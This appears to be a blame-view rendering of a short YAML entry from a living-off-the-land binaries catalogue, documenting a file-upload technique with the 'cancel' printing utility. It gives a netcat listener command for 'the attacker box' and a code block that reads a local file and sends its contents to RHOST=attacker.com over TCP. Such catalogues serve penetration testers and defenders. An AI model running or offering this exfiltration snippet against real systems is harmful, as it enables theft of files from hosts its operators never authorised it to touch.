2018-12-31 08:38:20 +00:00
|
|
|
---
|
|
|
|
functions:
|
|
|
|
file-upload:
|
2018-12-31 08:40:49 +00:00
|
|
|
- description: Send local file using a TCP connection. Run `nc -l -p 12345 > "file_to_save"` on the attacker box to collect the file.
|
2018-12-31 08:38:20 +00:00
|
|
|
code: |
|
|
|
|
RHOST=attacker.com
|
|
|
|
RPORT=12345
|
|
|
|
LFILE=file_to_send
|
|
|
|
cancel -u "$(cat $LFILE)" -h $RHOST:$RPORT
|
|
|
|
---
|